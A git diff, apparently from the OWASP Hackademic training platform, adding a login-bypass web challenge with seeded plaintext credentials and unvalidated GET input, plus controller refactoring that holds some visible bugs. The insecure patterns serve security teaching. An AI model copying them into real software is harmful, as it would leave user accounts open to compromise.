b/challenges/newchallenge4/inside/use-icons/submit_check.png differ diff --git a/challenges/newchallenge4/inside/use-icons/twitter.png b/challenges/newchallenge4/inside/use-icons/twitter.png new file mode 100755 index 00000000..9b81a0d6 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icons/twitter.png differ diff --git a/challenges/newchallenge4/newchallenge4.xml b/challenges/newchallenge4/newchallenge4.xml new file mode 100755 index 00000000..b6818b02 --- /dev/null +++ b/challenges/newchallenge4/newchallenge4.xml @@ -0,0 +1,17 @@ + + + New Challenge 3 + + Andreas Venieris, + Konstantinos Papapanagiotou, + Anastasios Stasinopoulos, + Vasilios Vlachos, + Alexandros Papanikolaou + + web + + SITE. However, they have solved this to an extent and have MITM'd a regular user to get the following credentials { username : scrtusr & password : mint_cinnamon} however this bit of information isn't enough to get to the user's profile or to inject into the website to get admin login details . So, now you have to find out the admin credentials and hand it over to the government officials, so that they can carry out some security checks. Login as admin.

Hint : Wanna have a Cookie ??

+ ]]> +
+
diff --git a/challenges/newchallenge4/sql-connections/db-creds.inc b/challenges/newchallenge4/sql-connections/db-creds.inc new file mode 100755 index 00000000..cf303275 --- /dev/null +++ b/challenges/newchallenge4/sql-connections/db-creds.inc @@ -0,0 +1,10 @@ + + diff --git a/challenges/newchallenge4/sql-connections/functions.php b/challenges/newchallenge4/sql-connections/functions.php new file mode 100755 index 00000000..aa92d095 --- /dev/null +++ b/challenges/newchallenge4/sql-connections/functions.php @@ -0,0 +1,91 @@ + diff --git a/challenges/newchallenge4/sql-connections/setup-db-challenge.php b/challenges/newchallenge4/sql-connections/setup-db-challenge.php new file mode 100755 index 00000000..09c225bc --- /dev/null +++ b/challenges/newchallenge4/sql-connections/setup-db-challenge.php @@ -0,0 +1,80 @@ + + + + +
+
+ +"; +@error_reporting(0); +if(isset($_GET['id'])) +$id = $_GET['id']; +//echo $id; + +// Check connection +@$con = mysql_connect($host,$dbuser,$dbpass); +if (!$con) +{ + echo "Failed to connect to MySQL: " . mysql_error(); +} + + +//purging Old Database for challenges + $sql="DROP DATABASE IF EXISTS $dbname1"; + if (mysql_query($sql)) + {echo "Old database purged if exists"; echo "

\n";} + else + {echo "Error purging database: " . mysql_error(); echo "

\n";} + + + + +//Creating new database for challenges + $sql="CREATE database $dbname1 CHARACTER SET `gbk` "; + if (mysql_query($sql)) + {echo "Creating New database successfully";echo "

\n";} + else + {echo "Error creating database: " . mysql_error();echo "

\n";} + +include '../sql-connections/functions.php'; + + + +// Creating table +$sql="CREATE TABLE IF NOT EXISTS $dbname1.$table + ( + id INT(2) UNSIGNED NOT NULL DEFAULT 1, + sessid CHAR(32) PRIMARY KEY NOT NULL, + $secret_key CHAR(32) NOT NULL, + tryy INT(11) UNSIGNED NOT NULL DEFAULT 0 + )"; + if (mysql_query($sql)) + {echo "Creating New Table '$table' successfully";echo "

\n";} + else + {echo "Error creating Table: " . mysql_error();echo "

\n";} + + +// creating random key +$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data +$sec_key = num_gen(24, $characters); +$hash = md5(rand(0,100000)); + +//inserting Dummy data into table +$sql="INSERT INTO $dbname1.$table VALUES (1, '$hash', '$sec_key', 0)"; + if (mysql_query($sql)) + {echo "Inserted data correctly into table '$table'";echo "

\n";} + else + {echo "Error inserting data: " . mysql_error();echo "

\n";} + +echo "Inserted secret key '$secret_key' into table ";echo "

\n"; + +if(isset($id)) +header( "refresh:0;url=$id" ); + +?> + + + diff --git a/challenges/newchallenge4/sql-connections/setup-db.php b/challenges/newchallenge4/sql-connections/setup-db.php new file mode 100755 index 00000000..4f2bacf3 --- /dev/null +++ b/challenges/newchallenge4/sql-connections/setup-db.php @@ -0,0 +1,104 @@ + + + + +Welcome To The World Hackers + + + + +
+Welcome    + +
+
+ +
+ +
Wait a bit.. Setting up database !
+

+ + +"; + + + +$con = mysql_connect($host,$dbuser,$dbpass); +if (!$con) + { + die('Could not connect to DB, check the creds in db-creds.inc: ' . mysql_error()); + } + + + + +//@mysql_select_db('mysql',$con) + +//purging Old Database + $sql="DROP DATABASE IF EXISTS waymessier_db"; + if (mysql_query($sql)) + {echo "Old database 'waymessier_db' purged if exists"; echo "

\n";} + else + {echo "Error purging database: " . mysql_error(); echo "

\n";} + + +//Creating new database waymessier_db + $sql="CREATE database `waymessier_db` CHARACTER SET `gbk` "; + if (mysql_query($sql)) + {echo "Creating New database 'waymessier_db' successfully";echo "

\n";} + else + {echo "Error creating database: " . mysql_error();echo "

\n";} + +//creating table users +$sql="CREATE TABLE waymessier_db.users (id int(3) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL, password varchar(20) NOT NULL, PRIMARY KEY (id))"; + if (mysql_query($sql)) + {echo "Creating New Table 'USERS' successfully";echo "

\n";} + else + {echo "Error creating Table: " . mysql_error();echo "

\n";} + + +//creating table emails +$sql="CREATE TABLE waymessier_db.emails + ( + id int(3)NOT NULL AUTO_INCREMENT, + email_id varchar(30) NOT NULL, + PRIMARY KEY (id) + )"; + if (mysql_query($sql)) + {echo "Creating New Table 'EMAILS' successfully"; echo "

\n";} + else + {echo "Error creating Table: " . mysql_error();echo "

\n";} + + + + +//inserting data +$sql="INSERT INTO waymessier_db.users (id, username, password) VALUES ('1', 'TheGamer', 'C.O.D'), ('2', 'scrtusr', 'mint_cinnamon'), ('3', 'soumya', 'fu**inglol'), ('4', 'Adamnew', 'Evenew'), ('5', 'Preciouslate', 'PreTimeLate'), ('6', 'DultonThe', 'WowDulton_coder'), ('7', 'Newbatman', 'catty_woman'), ('8', 'admin', 'TheAdminPassw0rd'), ('9', 'Joey', 'Tribbiani'), ('10', 'Chandler', 'Bing'), ('11', 'Matthew', 'Perry'), ('12', 'Monica', 'Geller'), ('13', 'Ross', 'Geller1'), ('14', 'Phoebe', 'Buffay')"; + if (mysql_query($sql)) + {echo "Inserted data correctly into table 'USERS'";echo "

\n";} + else + {echo "Error inserting data: " . mysql_error();echo "

\n";} + + + +//inserting data +$sql="INSERT INTO `waymessier_db`.`emails` (id, email_id) VALUES ('1', 'TheGaminAddict@Gamers.com'), ('2', 'Linuxlovers@linux.com'), ('3', 'veryfunny@funny.com'), ('4', 'lovers@lovetime.com'), ('5', 'TimeIs@precious.com'), ('6', 'dallu@aditi.com'), ('7', 'superheroes@best.com'), ('8', 'theadmin@admin.com'), ('9', 'newone@user.com'), ('10', 'food@besties.com'), ('11', 'cubers_world@DeskTest.com'), ('12', 'thenewadmin@new.com'), ('13', 'sunil@shankhala.com'), ('14', 'fourneen@newgmail.com')"; + if (mysql_query($sql)) + {echo "Inserted data correctly into table 'EMAILS'";echo "

\n";} + else + {echo "Error inserting data: " . mysql_error();echo "

\n";} + + + +//including the Challenges DB creation file. +include("../sql-connections/setup-db-challenge.php"); +?> + + + +
+ + diff --git a/challenges/newchallenge4/sql-connections/sql-connect-1.php b/challenges/newchallenge4/sql-connections/sql-connect-1.php new file mode 100755 index 00000000..8b1f9ed3 --- /dev/null +++ b/challenges/newchallenge4/sql-connections/sql-connect-1.php @@ -0,0 +1,29 @@ + + + + + + diff --git a/challenges/newchallenge4/sql-connections/sql-connect.php b/challenges/newchallenge4/sql-connections/sql-connect.php new file mode 100755 index 00000000..611c6b96 --- /dev/null +++ b/challenges/newchallenge4/sql-connections/sql-connect.php @@ -0,0 +1,34 @@ + + + + + + diff --git a/challenges/newchallenge4/sql-connections/sqli-connect.php b/challenges/newchallenge4/sql-connections/sqli-connect.php new file mode 100755 index 00000000..82132e92 --- /dev/null +++ b/challenges/newchallenge4/sql-connections/sqli-connect.php @@ -0,0 +1,25 @@ + + + + + + diff --git a/challenges/newchallenge4/sql-connections/test.php b/challenges/newchallenge4/sql-connections/test.php new file mode 100755 index 00000000..4c00cd27 --- /dev/null +++ b/challenges/newchallenge4/sql-connections/test.php @@ -0,0 +1,11 @@ + diff --git a/composer.json b/composer.json new file mode 100755 index 00000000..11d744e7 --- /dev/null +++ b/composer.json @@ -0,0 +1,6 @@ +{ + "require-dev": { + "phpunit/phpunit": "*", + "facebook/webdriver": "dev-master" + } +} diff --git a/controller/class.ChallengeMenuController.php b/controller/class.ChallengeMenuController.php index d0b5e05f..31a5236e 100755 --- a/controller/class.ChallengeMenuController.php +++ b/controller/class.ChallengeMenuController.php @@ -37,8 +37,8 @@ class ChallengeMenuController { - public function go() { - $username = $this->getLoggedInUser(); + public static function go() { + $username = HackademicController::getLoggedInUser(); $user = User::findByUserName($username); if (!$user) { return; diff --git a/controller/class.ChallengeMonitorController.php b/controller/class.ChallengeMonitorController.php index db153ca6..19f1c1f0 100755 --- a/controller/class.ChallengeMonitorController.php +++ b/controller/class.ChallengeMonitorController.php @@ -49,6 +49,10 @@ define('MULT_SOL_BONUS_ID', "multiple_solution_bonus"); define('TOTAL_ATTEMPT_PENALTY_ID', "total_attempt_penalty"); define('FTS_PENALTY_ID', "first_try_penalty"); + + define("CHALLENGE_INIT", 2); + define("CHALLENGE_SUCCESS", 1); + define("CHALLENGE_FAILURE", 0); } class ChallengeMonitorController { @@ -64,8 +68,8 @@ public function get_pkg_name(){ $pkg_name = $url_components[$i+1]; return $pkg_name; } - public function start($user_id = null, $chid = null, $class_id = null, $token = null, - $status = 'CHECK'){ + public function start($user_id = null, $chid = null, $class_id = null, $token = null, $status) { +// var_dump($_SESSION); if(!isset($_SESSION)) session_start(); @@ -75,7 +79,7 @@ public function start($user_id = null, $chid = null, $class_id = null, $token = $_SESSION['user_id'] = $user_id; $_SESSION['pkg_name'] = $this->get_pkg_name(); $_SESSION['class_id'] = $class_id; - $this->calc_score(-1, $user_id, $chid, $class_id); + $this->calc_score($status, $user_id, $chid, $class_id); $_SESSION['init'] = true; //var_dump($_SESSION); return; @@ -94,47 +98,72 @@ public function start($user_id = null, $chid = null, $class_id = null, $token = if(!isset($_SESSION['class_id'])) $_SESSION['class_id'] = $class_id; - $pair = UserHasChallengeToken::findByPair($user_id,$chid,$token); + self::check_values($user_id,$chid,$class_id,$token); + } + + private function invalid_challenge(){ + $_SESION = array(); + unset($_SESSION); + error_log("HACKADEMIC::ChallengeMonitorController::RIGHT token WRONG CHALLENGE it's + ".$pkg_name.' it should be '.$_SESSION['pkg_name']); + header("Location: ".SITE_ROOT_PATH); + die(); + } + private function check_values($user_id = null, $chid = null, $class_id = null, $token = null){ + + //TODO full of ugly hacks needs refactoring start by putting an else with redirect after the if $pair + + if($user_id === NULL) + $user_id = $_SESSION['user_id']; + if($chid === NULL) + $chid = $_SESSION['chid']; + if($class_id === NULL) + $class_id = $_SESSION['class_id']; + if($token === NULL) + $token = $_SESSION['token']; - /*If token is the one in the session then challenge must be the same*/ - if($_SESSION['token'] == $token) - if($pkg_name != $_SESSION['pkg_name'] || $_SESSION['chid'] != $chid){ - error_log("HACKADEMIC::ChallengeMonitorController::RIGHT token WRONG CHALLENGE it's ".$pkg_name.' it should be '.$_SESSION['pkg_name']); - header("Location: ".SITE_ROOT_PATH); - die(); - } - /* If token changed AND the challenge changed AND its a valid token - * for that challenge then we are in a new challenge - */ - if($_SESSION['token'] != $token && $token!=null) - if($pkg_name != $_SESSION['pkg_name'] || $_SESSION['chid'] != $chid || $_SESSION['user_id'] != $user_id){ - if($pair->token == $token){ - $_SESSION['chid'] = $chid; - $_SESSION['token'] = $token; + $pair = UserHasChallengeToken::find($user_id,$chid,$class_id); + $pkg_name = $this->get_pkg_name(); + + /*If token is the one in the session then we have to check the rest of the values*/ + if($_SESSION['token'] == $token && $token != NULL){ + + /* User changed challenge*/ + if(($pkg_name != $_SESSION['pkg_name'] && $pkg_name != NULL) || + ($_SESSION['chid'] != $chid && $chid != NULL)){ + if(!$pair){ + invalid_challenge(); + }else{ $_SESSION['pkg_name'] = $pkg_name; - $_SESSION['user_id'] = $user_id; - $this->calc_score(-1, $user_id, $chid, $class_id); - $_SESSION['init'] = false; + $_SESSION['chid'] = $chid; + } + } + //User is doing the same challenge for a different class + if($_SESSION['class_id'] != $class_id && $class_id != null){ + if(!$pair){ + $this->invalid_challenge(); + }else{ $_SESSION['class_id'] = $class_id; } - }else{ - //var_dump($_SESSION);//die(); - error_log("HACKADEMIC::ChallengeMonitorController::Hijacking attempt? ".$_SESSION['pkg_name']); - header("Location: ".SITE_ROOT_PATH); - die(); } - /*echo"

";var_dump($pair);echo "

"; - echo"

";var_dump($token);echo "

"; - echo"

";var_dump($_SESSION['token']);echo "

"; - */ - if($pair && $pair->token != $token){ - error_log("HACKADEMIC::ChallengeMonitorController::pair->token != $token".$pair->token); - header("Location: ".SITE_ROOT_PATH); - die(); - - } - } + // if the user_id changed but the token for the user/class/challenge is correct update + if($_SESSION['user_id'] != $user_id && $user_id != null){ + if(!$pair){ + $this->invalid_challenge(); + }else{ + $_SESSION['user_id'] = $user_id; + } + } + }else{ + if($pair && $pair->token == $token){ + $_SESSION['token'] = $token; + }else{ + error_log( "Token provided: ". $token."
Token on session ".$_SESSION['token']. "
Token for user/class"); + header("Location:".SITE_ROOT_PATH); die(); + } + } + } public function update($status, $request) { if( !empty($request) ){ @@ -142,28 +171,26 @@ public function update($status, $request) { $chid = $request['id']; $class_id = $request['class_id']; $token = $request['token']; - }else{ - $user_id = null; - $chid = null; - $class_id = null; - $token = null; } + $this->start($user_id,$chid, $class_id, $token,$status); /* * if status == init we only need to update the SESSION var which we do in start */ if($status == CHALLENGE_INIT){ - return; + return; + } if ($user_id == null) $user_id = $_SESSION['user_id']; if ($chid == null) $chid = $_SESSION['chid']; - if ($token == null) + if($token == NULL) + $token = $_SESSION['token']; if ($class_id == null) $class_id = $_SESSION['class_id']; - + //echo"update";var_dump($status);die(); $this->calc_score($status, $user_id, $chid, $class_id); $username = $user_id; @@ -185,7 +212,7 @@ public function update($status, $request) { * Called for unsuccesful attempt, updates the current score for the user * Called on success calculates the total score for the user */ - public function calc_score($status = 0, $user_id, $challenge_id, $class_id){ + public function calc_score($status, $user_id, $challenge_id, $class_id){ if (!isset($_SESSION['rules']) || !is_array($_SESSION['rules'])|| $_SESSION['rules'] == ""){ $rule = ScoringRule::get_scoring_rule_by_challenge_class_id($challenge_id, $class_id); @@ -220,20 +247,24 @@ public function calc_score($status = 0, $user_id, $challenge_id, $class_id){ $fts_penalty = $_SESSION['rules']['penalty_for_many_first_try_solves']; $current_score = UserScore::get_scores_for_user_class_challenge($user_id, $class_id, $challenge_id); - - if ($current_score === false){ + if ($current_score === false && $status != CHALLENGE_INIT) { + self::calc_score(CHALLENGE_INIT, $user_id, $challenge_id, $class_id); $current_score = UserScore::get_scores_for_user_class_challenge($user_id, $class_id, $challenge_id); $_SESSION['current_score'] = (array)$current_score; } - if ($status == -1){ - + if ($status == CHALLENGE_INIT){ foreach($_SESSION['rules'] as $key=>$value) unset($_SESSION['rules'][$key]); unset($_SESSION['rules']); - if ($current_score === false){ - UserScore::add_user_score( $user_id, $class_id, $challenge_id, 0, ""); + $current_score = new UserScore(); + $current_score->user_id = $user_id; + $current_score->class_id = $class_id; + $current_score->challenge_id = $challenge_id; + $current_score->points = 0; + $current_score->penalties_bonuses = ''; + UserScore::add_user_score($current_score); $current_score = UserScore::get_scores_for_user_class_challenge($user_id, $class_id, $challenge_id); } $_SESSION['f_atempt'] = date("Y-m-d H:i:s"); @@ -248,7 +279,7 @@ public function calc_score($status = 0, $user_id, $challenge_id, $class_id){ return; - }elseif ($status == 0){ + } elseif ($status == CHALLENGE_FAILURE) { if (ChallengeAttempts::isChallengeCleared($user_id, $challenge_id, $class_id)){ if (strpos($current_score->penalties_bonuses,EXPERIMENTATION_BONUS_ID) === false && $exp_bonus > 0){ /* apply experimentation bonus*/ @@ -256,8 +287,9 @@ public function calc_score($status = 0, $user_id, $challenge_id, $class_id){ $current_score->penalties_bonuses .= EXPERIMENTATION_BONUS_ID; $current_score->penalties_bonuses .= ","; } + UserScore::update_user_score($current_score); + return; } - if ($_SESSION['total_attempt_count'] > $attempt_cap){ /* apply total attempt penalty*/ if(strpos($current_score->penalties_bonuses,TOTAL_ATTEMPT_PENALTY_ID) === false && $attempt_cap_penalty > 0){ @@ -305,9 +337,7 @@ public function calc_score($status = 0, $user_id, $challenge_id, $class_id){ } } - }elseif ($status == 1){ - $current_score->points += $base_score; - + } elseif ($status == CHALLENGE_SUCCESS) { if (ChallengeAttempts::isChallengeCleared($user_id, $challenge_id, $class_id)){ /* apply multiple solutions bonus*/ if(strpos($current_score->penalties_bonuses,MULT_SOL_BONUS_ID) === false && $mult_sol_bonus > 0){ @@ -316,6 +346,7 @@ public function calc_score($status = 0, $user_id, $challenge_id, $class_id){ $current_score->penalties_bonuses .= ","; } }else{ + $current_score->points += $base_score; /* get the tries from the database */ $first = ChallengeAttempts::getUserFirstChallengeAttempt($user_id, $challenge_id, $class_id); $last_db = ChallengeAttempts::getUserLastChallengeAttempt($user_id, $challenge_id, $class_id); @@ -382,10 +413,6 @@ public function calc_score($status = 0, $user_id, $challenge_id, $class_id){ } } } - UserScore::update_user_score( $current_score->id, $user_id, - $challenge_id, $class_id, - $current_score->points, - $current_score->penalties_bonuses); + UserScore::update_user_score($current_score); } - } diff --git a/controller/class.ChallengeValidatorController.php b/controller/class.ChallengeValidatorController.php new file mode 100755 index 00000000..f21e1ea3 --- /dev/null +++ b/controller/class.ChallengeValidatorController.php @@ -0,0 +1,87 @@ +. + * + * + * @author Paul Chaignon + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2012 OWASP + * + */ +require_once(HACKADEMIC_PATH."controller/class.ChallengeMonitorController.php"); +require_once(HACKADEMIC_PATH."model/common/class.RegexSolution.php"); + +class ChallengeValidatorController { + private $monitor; + private $solution; + + /** + * Constructor + * @param $solution The solution of the challenge. + * The solution can be an integer, a string or a regex solution. + * @see class.RegexSolution.php + */ + public function ChallengeValidatorController($solution) { + $this->solution = $solution; + $this->monitor = new ChallengeMonitorController(); + $this->monitor->go(); + } + + /** + * Initialize the challenge's monitor. + */ + public function startChallenge() { + $this->monitor->update(CHALLENGE_INIT, $_GET); + } + + /** + * Validates a submitted solution. + * Updates the monitor state depending on the result. + * @param $answer The submitted solution. + * @return True if the submitted solution was correct. + */ + public function validateSolution($answer) { + $valid = false; + if($this->solution instanceof RegexSolution) { + $valid = $this->solution->match($answer); + } else { + $valid = $this->solution == $answer; + } + + if($valid) { + $this->monitor->update(CHALLENGE_SUCCESS); + } else { + $this->monitor->update(CHALLENGE_FAILURE); + } + + return $valid; + } + + /** + * Record a failed attempt to solve the challenge in the monitor. + */ + public function failChallenge() { + $this->monitor->update(CHALLENGE_FAILURE); + } +} diff --git a/controller/class.ForgotPasswordController.php b/controller/class.ForgotPasswordController.php index 10208c14..c4a317d5 100755 --- a/controller/class.ForgotPasswordController.php +++ b/controller/class.ForgotPasswordController.php @@ -38,6 +38,7 @@ class ForgotPasswordController extends HackademicController { + private static $action_type = 'forgot_password'; public function go() { $this->setViewTemplate('forgotpw.tpl'); @@ -55,7 +56,7 @@ public function go() { $token=$ESAPI_utils->getHttpUtilities()->getCSRFToken(); $subject="Hackademic new password link activation"; $message="Please click on the following link below to reset your password"; - $message = SOURCE_ROOT_PATH."pages/resetpassword.php?username=$username&token=$token"; + $message = SOURCE_ROOT_PATH."?url=resetpassword&username=$username&token=$token"; error_log($message); //Mailer::mail($email,$subject,$message); $result = User::addToken($username,$token); @@ -64,6 +65,6 @@ public function go() { } } } - return $this->generateView(); + return $this->generateView(self::$action_type); } } diff --git a/controller/class.HackademicController.php b/controller/class.HackademicController.php index e2d8a1b7..4c414771 100755 --- a/controller/class.HackademicController.php +++ b/controller/class.HackademicController.php @@ -1,4 +1,5 @@ smarty = new SmartyHackademic(); - $this->app_session = new Session(); - if ($this->isLoggedIn()) { - $this->addToView('is_logged_in', true); - $this->addToView('logged_in_user', $this->getLoggedInUser()); - } - if ($this->isAdmin()) { - $this->addToView('user_type', true); - } - $menu=FrontendMenuController::go(); - $this->addToView('main_menu',$menu); - - $challenge_menu=ChallengeMenuController::go(); - $this->addToView('challenge_menu',$challenge_menu); - if($this->isLoggedIn()){ - $usermenu=UserMenuController::go(); - $this->addToView('user_menu',$usermenu); - } - } - - /** - * Add javascript to header - * - * @param str javascript path - */ - public function addHeaderJavaScript($script) { - array_push($this->header_scripts, $script); - } - - /** - * Set Page Title - * @param $title str Page Title - */ - public function addPageTitle($title) { - self::addToView('controller_title', $title); - } - - /** - * Function to set view template - * @param $tmpl str Template name - */ - public function setViewTemplate($tmpl) { - $this->view_template = HACKADEMIC_PATH.'view/'.$tmpl; - - } - - /** - * Generate View In Smarty - */ - public function generateView() { - $view_path = $this->view_template; - $this->addToView('header_scripts', $this->header_scripts); - return $this->smarty->display($view_path); - } - - /** - * Add error message to view - * @param str $msg - */ - public function addErrorMessage($msg) { - $this->disableCaching(); - $this->addToView('errormsg', $msg ); - } - - /** - * Add success message to view - * @param str $msg - */ - public function addSuccessMessage($msg) { - $this->disableCaching(); - $this->addToView('successmsg', $msg ); - } - - - /** - * Disable Caching - */ - protected function disableCaching() { - $this->smarty->disableCaching(); - } - - /** - * Returns whether or not Hackademic user is logged in - * - * @return bool whether or not user is logged in - */ - protected function isLoggedIn() { - return Session::isLoggedIn(); - } - - /** - * Function to add data to Smarty Template - * @param $key str Variable name in Smarty - * @param $value str Variable value in Smarty - */ - public function addToView($key,$value) { - $this->smarty->assign($key, $value); - } - - /** - * Returns whether or not a logged-in Hackademic user is an admin - * - * @return bool whether or not logged-in user is an admin - */ - protected function isAdmin() { - return Session::isAdmin(); - } - - /** - * Returns whether or not a logged-in Hackademic user is a teacher - * - * @return bool whether or not logged-in user is an admin - */ - protected function isTeacher() { - return Session::isTeacher(); - } - - /** - * Return username of logged-in user - * - * @return str username - */ - public function getLoggedInUser() { - return Session::getLoggedInUser(); - } + /** + * @var Smarty Object + */ + protected $smarty; + + /** + * @var template path + */ + protected $tmpl; + + /** + * @var view template + */ + protected $view_template; + + /** + * @var array + */ + protected $header_scripts = array(); + + /** + * @var session_exists + */ + private static $session_exists; + + /** + * @var app_session + */ + private $app_session; + + /** + * Constructor to initialize the Main Controller + */ + public function __construct() { + if (!self::$session_exists) { + self::$session_exists = 1; + Session::start(SESS_EXP_ABS); + //var_dump("no session"); + //die("no session"); + } + if (isset($_SESSION['hackademic_user']) && !Session::isValid()) { + //die(" session but not valid"); + //error_log("session but not valid", 0); + Session::logout(); + header('Location:' . SOURCE_ROOT_PATH . "?url=home"); + die(); + } + //var_dump($_SESSION); + $this->smarty = new SmartyHackademic(); + $this->app_session = new Session(); + if (self::isLoggedIn()) { + $this->addToView('is_logged_in', true); + $this->addToView('logged_in_user', self::getLoggedInUser()); + } + if (self::isAdmin()) { + $this->addToView('user_type', true); + } + /* $menu=FrontendMenuController::go(); + $this->addToView('main_menu',$menu); */ + + $challenge_menu = ChallengeMenuController::go(); + $this->addToView('challenge_menu', $challenge_menu); + + if (self::isLoggedIn()) { + $usermenu = UserMenuController::go(); + $this->addToView('user_menu', $usermenu); + } + } + + /** + * Add javascript to header + * + * @param str javascript path + */ + public function addHeaderJavaScript($script) { + array_push($this->header_scripts, $script); + } + + /** + * Set Page Title + * @param $title str Page Title + */ + public function addPageTitle($title) { + $this->addToView('controller_title', $title); + } + + /** + * Function to set view template + * @param $tmpl str Template name + */ + public function setViewTemplate($tmpl) { + $path = $this->smarty->user_theme_path . $tmpl; + $new_path = Plugin::apply_filters_ref_array('set_view_template', array($path)); + if ($new_path != '') { + $path = $new_path; + } + $this->view_template = HACKADEMIC_PATH . $path; + } + + /** + * Generate View In Smarty + * @param string $type the type of view that is being generated. The type is used to trigger + * an action of the form 'show_[type]' i.e. 'show_article_manager' + */ + public function generateView($type = 'view') { + $view_path = $this->view_template; + $this->addToView('header_scripts', $this->header_scripts); + Plugin::do_action_ref_array('show_' . $type, array($this->smarty)); + return $this->smarty->display($view_path); + } + + /** + * Add error message to view + * @param str $msg + */ + public function addErrorMessage($msg) { + $this->disableCaching(); + $this->addToView('errormsg', $msg); + } + + /** + * Add success message to view + * @param str $msg + */ + public function addSuccessMessage($msg) { + $this->disableCaching(); + $this->addToView('successmsg', $msg); + } + + /** + * Disable Caching + */ + protected function disableCaching() { + $this->smarty->disableCaching(); + } + + /** + * Returns whether or not Hackademic user is logged in + * + * @return bool whether or not user is logged in + */ + protected static function isLoggedIn() { + return Session::isLoggedIn(); + } + + /** + * Function to add data to Smarty Template + * @param $key str Variable name in Smarty + * @param $value str Variable value in Smarty + */ + public function addToView($key, $value) { + $this->smarty->assign($key, $value); + } + + /** + * Returns whether or not a logged-in Hackademic user is an admin + * + * @return bool whether or not logged-in user is an admin + */ + protected static function isAdmin() { + return Session::isAdmin(); + } + + /** + * Returns whether or not a logged-in Hackademic user is a teacher + * + * @return bool whether or not logged-in user is an admin + */ + protected static function isTeacher() { + return Session::isTeacher(); + } + + /** + * Return username of logged-in user + * + * @return str username + */ + public static function getLoggedInUser() { + return Session::getLoggedInUser(); + } + } diff --git a/controller/class.LandingPageController.php b/controller/class.LandingPageController.php index 0c44544c..bc811793 100755 --- a/controller/class.LandingPageController.php +++ b/controller/class.LandingPageController.php @@ -1,81 +1,82 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."controller/class.HackademicController.php"); -require_once(HACKADEMIC_PATH."model/common/class.Article.php"); -require_once(HACKADEMIC_PATH."controller/class.FrontendMenuController.php"); - -class LandingPageController extends HackademicController { - - public function go() { - $limit = 10; - $targetpage = SOURCE_ROOT_PATH."index.php"; - $stages = 3; - $page=0; - - if(isset($_GET['page'])) { - $page=$_GET['page']; - } - if($page) { - $start = ($page - 1) * $limit; - } else { - $start = 0; - } - $total_pages = Article::getNumberOfArticles(); - // Initial page num setup - if ($page == 0){$page = 1;} - $prev = $page - 1; - $next = $page + 1; - $lastpage = ceil($total_pages/$limit); - $LastPagem1 = $lastpage - 1; - - $pagination = array ( - 'lastpage' => $lastpage, - 'page' => $page, - 'targetpage' => $targetpage, - 'prev' => $prev, - 'next' => $next, - 'stages' => $stages, - 'last_page_m1' => $LastPagem1 - ); - - $articles=Article::getAllArticles($start,$limit); - if ($this->isLoggedIn()) { - $this->addToView('username', $this->getLoggedInUser()); - } - $this->addToView('articles', $articles); - $this->addToView('total_pages', $total_pages); - $this->addToView('pagination', $pagination); - $this->setViewTemplate('landingpage.tpl'); - $this->generateView(); - } -} +. + * + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2012 OWASP + * + */ +require_once(HACKADEMIC_PATH."controller/class.HackademicController.php"); +require_once(HACKADEMIC_PATH."model/common/class.Article.php"); + +class LandingPageController extends HackademicController { + + private static $action_type = 'landing_page'; + + public function go() { + $limit = 10; + $targetpage = SOURCE_ROOT_PATH."?url=index.php"; + $stages = 3; + $page=0; + + if(isset($_GET['page'])) { + $page=$_GET['page']; + } + if($page) { + $start = ($page - 1) * $limit; + } else { + $start = 0; + } + $total_pages = Article::getNumberOfArticles(); + // Initial page num setup + if ($page == 0){$page = 1;} + $prev = $page - 1; + $next = $page + 1; + $lastpage = ceil($total_pages/$limit); + $LastPagem1 = $lastpage - 1; + + $pagination = array ( + 'lastpage' => $lastpage, + 'page' => $page, + 'targetpage' => $targetpage, + 'prev' => $prev, + 'next' => $next, + 'stages' => $stages, + 'last_page_m1' => $LastPagem1 + ); + + $articles=Article::getAllArticles($start,$limit); + if (self::isLoggedIn()) { + $this->addToView('username', self::getLoggedInUser()); + } + $this->addToView('articles', $articles); + $this->addToView('total_pages', $total_pages); + $this->addToView('pagination', $pagination); + $this->setViewTemplate('landingpage.tpl'); + $this->generateView(self::$action_type); + } +} diff --git a/controller/class.LoginController.php b/controller/class.LoginController.php index 4c61ab06..d3705815 100755 --- a/controller/class.LoginController.php +++ b/controller/class.LoginController.php @@ -37,32 +37,36 @@ class LoginController extends HackademicController { + private static $action_type = 'login'; + public function go() { + $this->setViewTemplate('landingpage.tpl'); $this->addPageTitle('Log in'); - if ($this->isLoggedIn() && Session::isValid($_GET['token'])) { + + if (self::isLoggedIn() && Session::isValid($_GET['token'])) { //die("already logged"); $controller = new LandingPageController(); return $controller->go(); } else { - if(defined('EXCIBITION_MODE') && EXCIBITION_MODE == true){ + if(defined('EXHIBITION_MODE') && EXHIBITION_MODE == true){ $session = new Session(); $username = 'Guest'; // start the session $session->loginGuest(); - header('Location:'.SOURCE_ROOT_PATH."pages/home.php"); - die("horribly"); + header('Location:'.SOURCE_ROOT_PATH."?url=home"); + die(); } if (isset($_POST['submit']) && $_POST['submit']=='Login' && isset($_POST['username']) && isset($_POST['pwd']) ) { if ($_POST['username']=='' || $_POST['pwd']=='') { if ($_POST['username']=='') { $this->addErrorMessage("Username must not be empty"); - return $this->generateView(); + return $this->generateView(self::$action_type); } else { $this->addErrorMessage("Password must not be empty"); - return $this->generateView(); + return $this->generateView(self::$action_type); } } else { $session = new Session(); @@ -71,29 +75,32 @@ public function go() { $user=User::findByUsername($username); if (!$user) { - header('Location:'.SOURCE_ROOT_PATH."pages/mainlogin.php?msg=username"); - //return $this->generateView(); + header('Location:'.SOURCE_ROOT_PATH."?url=mainlogin&msg=username"); + die();//return $this->generateView(self::$action_type); } elseif (!$session->pwdCheck($_POST['pwd'], $user->password)) { - header('Location:'.SOURCE_ROOT_PATH."pages/mainlogin.php?msg=password"); - return $this->generateView(); - } if ($user->is_activated != 1){ - header('Location:'.SOURCE_ROOT_PATH."pages/mainlogin.php?msg=activate"); + header('Location:'.SOURCE_ROOT_PATH."?url=mainlogin&msg=password"); + die(); + } elseif ($user->is_activated != 1){ + 